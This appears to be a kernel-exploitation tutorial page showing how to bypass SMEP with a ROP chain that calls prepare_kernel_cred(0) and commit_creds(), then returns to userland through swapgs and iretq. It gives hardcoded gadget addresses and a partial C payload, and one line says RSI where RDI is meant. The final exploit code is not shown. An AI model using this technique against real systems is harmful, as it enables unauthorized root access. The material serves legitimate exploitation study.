Kernel ROP - Privilege Escalation in Kernel Space
Bypassing SMEP by ropping through the kernel
The previous approach failed, so let's try and escalate privileges using purely ROP.
Modifying the Payload
Calling prepare_kernel_cred()
First, we have to change the ropchain. Start off with finding some useful gadgets and calling prepare_kernel_cred(0):
uint64_t pop_rdi = 0xffffffff811e08ec;
uint64_t swapgs = 0xffffffff8129011e;
uint64_t iretq_pop1 = 0xffffffff81022e1f;
uint64_t prepare_kernel_cred = 0xffffffff81066fa0;
uint64_t commit_creds = 0xffffffff81066e00;
int main() {
// [...]
// overflow
uint64_t payload[7];
int i = 6;
// prepare_kernel_cred(0)
payload[i++] = pop_rdi;
payload[i++] = 0;
payload[i++] = prepare_kernel_cred;
// [...]
}Now comes the trickiest part, which involves moving the result of RAX to RSI before calling commit_creds().
Moving RAX to RDI for commit_creds()
This requires stringing together a collection of gadgets (which took me an age to find). See if you can find them!
I ended up combining these four gadgets:
Gadget 1 is used to set RDX to
0, so we bypass thejnein Gadget 2 and hitretGadget 2 and Gadget 3 move the returned cred struct from RAX to RDX
Gadget 4 moves it from RAX to RDI, then compares RDI to RDX. We need these to be equal to bypass the
jneand hit theret
Returning to userland
Recall that we need swapgs and then iretq. Both can be found easily.
The pop rbp; ret is not important as iretq jumps away anyway.
To simulate the pushing of RIP, CS, SS, etc we just create the stack layout as it would expect - RIP|CS|RFLAGS|SP|SS, the reverse of the order they are pushed in.
If we try this now, we successfully escalate privileges!
Final Exploit
Last updated
Was this helpful?